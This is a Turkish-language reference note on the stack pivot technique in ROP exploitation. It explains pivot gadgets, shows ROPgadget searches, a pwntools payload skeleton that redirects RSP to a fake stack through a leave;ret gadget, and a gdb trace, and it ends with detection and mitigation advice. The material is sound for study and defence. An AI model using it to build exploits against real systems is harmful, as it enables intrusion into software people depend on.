Skip to content

Stack pivot

Daha uzun bir ROP chain'in, orijinal buffer'ın çok küçük olduğu yerde çalışabilmesi için stack pointer'ı (RSP/ESP) attacker'ın kontrol ettiği belleğe yönlendirmek.

Mechanism

Bir stack buffer overflow çoğu zaman sana saved return address'ten sonra yalnızca birkaç byte verir — tam bir ROP chain dizmek için yeterli değil. Bir stack pivot bunu, RSP'yi tamamen kontrol ettiğin belleğe (bir heap buffer, BSS veya leak'lediğin/spray'lediğin bir region) yönlendirerek çözer; böylece ret/pop instruction'ları senin fake stack'ini tüketir.

Note

Suistimal edilen invariant, RSP'nin sadece bir register olmasıdır: CPU, RSP'nin gösterdiği her ne ise onu "the stack" olarak ele alır, konumuna bağlı bir bütünlük yoktur. Pivoting basitçe RSP'ye seçilmiş bir değer yükler ve bundan sonra "we take control of the RSP register and fake the location of the stack" — alanın daha önce buna izin vermediği yerde tam bir ROP chain'i mümkün kılar. Pivot gadget'ının kendisi, küçük overflow ile ulaştığın tek control flow parçasıdır; sonrasındaki her şey yeni stack'ten çalışır.

Yaygın pivot gadget'ları, en küçük ayak izinden başlayarak:

  • pop rsp ; ret — en doğrudan, RIP'ten sonra yalnızca 8 byte ister, ama nadiren bulunur.
  • leave ; retmov rsp, rbp ; pop rbp'ye eşittir, yani kontrol edilen bir RBP'yi RSP'ye taşır. Saved RBP'yi (RIP'ten 8 byte önce) hedefinle overwrite et, RIP'i leave; ret gadget'ına ayarla ve RSP, RBP'yi takip eder. En alan-verimli olanı.
  • xchg eax, esp ; ret (veya xchg rsp, rax) — pivot adresini RAX'a yüklemek için bir pop rax ile eşleştir, sonra onu RSP'ye swap et.
  • mov rsp, rbp ; ret / add rsp, <n> ; ret — doğrudan veya göreli ayarlamalar.

Walkthrough

Pivot gadget'larını ROPgadget (veya ropper) ile bul:

$ ROPgadget --binary ./vuln --only "leave|ret"
0x0000000000401a3d : leave ; ret

$ ROPgadget --binary ./vuln | grep -E "pop rsp|xchg .*sp"
0x0000000000401c11 : pop rsp ; ret
0x0000000000400b9d : xchg eax, esp ; ret

pwntools ile leave; ret pivot'u — saved RBP'yi fake-stack adresiyle overwrite et ve leave; ret içine return et:

from pwn import *
context.arch = 'amd64'
e = ELF('./vuln')
leave_ret = 0x401a3d                 # mov rsp,rbp ; pop rbp ; ret
fake_stack = 0x404800                # attacker-controlled (e.g. BSS we filled)

# 1) write the ROP chain at fake_stack via an earlier read/overflow
# 2) overflow: [pad][saved RBP = fake_stack][RIP = leave_ret]
payload  = b'A'*offset_to_rbp
payload += p64(fake_stack)           # becomes RSP after leave
payload += p64(leave_ret)            # RIP
Pivot'u gdb'de izleme

pwndbg> b *0x401a3d           # the leave;ret
pwndbg> c
pwndbg> info registers rsp
rsp  0x7fffffffe0a0
pwndbg> si                    # mov rsp, rbp ; pop rbp
pwndbg> info registers rsp
rsp  0x404808                 # <-- pivoted onto fake_stack+8, ROP runs from here
leave'den sonra RSP attacker adresini tutar; ardından gelen ret, bir sonraki "return address"ini fake stack'ten alır.

Bu not genel pivot primitive'ini (pivot gadget'ları ve mekanik) anlatır; pivot'a ulaşmanın ileri-seviye, libc'ye özgü bir yolu için bkz. svcudp_reply gadget — orada rdi kontrolü verildiğinde svcudp_reply içindeki sabit-offset'li bir dolaylı call, buradaki bir leave; ret pivot'una zincirlenir; yani o not bir pivot gadget'ı değil, pivot'u tetikleyen bir controllable-call kaynağıdır.

Aynı primitive kernel exploitation'da da geçerlidir (corrupt edilmiş bir task/IRQ stack'inden sonra kontrol edilen bir rsp, chain'in userland'de eşlenmiş bir page'den çalışmasına izin verir). Bunun ring 0'a özgü, SMEP-bypass odaklı tam chain hâli için bkz. Kernel ROP stack pivot — orada pivot yalnızca CR4.SMEP'i kapatan daha büyük bir kernel ROP chain'inin ilk adımıdır.

Detection

Shadow stack'ler (Intel CET), ret hedefleri kayıtlı call stack'ten saptığında uyuşmazlığı tespit eder. Heap/BSS'e işaret eden anormal RSP değerleri, crash dump'larında ve ROP tespit enstrümantasyonunda görünür.

Mitigation

Intel CET shadow stack ve stack canary'ler (pivot'a genellikle bir stack overflow üzerinden ulaşılır); NX/DEP pivot'u shellcode yerine bir ROP chain beslemeye zorlar ve ASLR/PIE hem gadget'ları hem de fake stack'i bulmanın maliyetini yükseltir.

References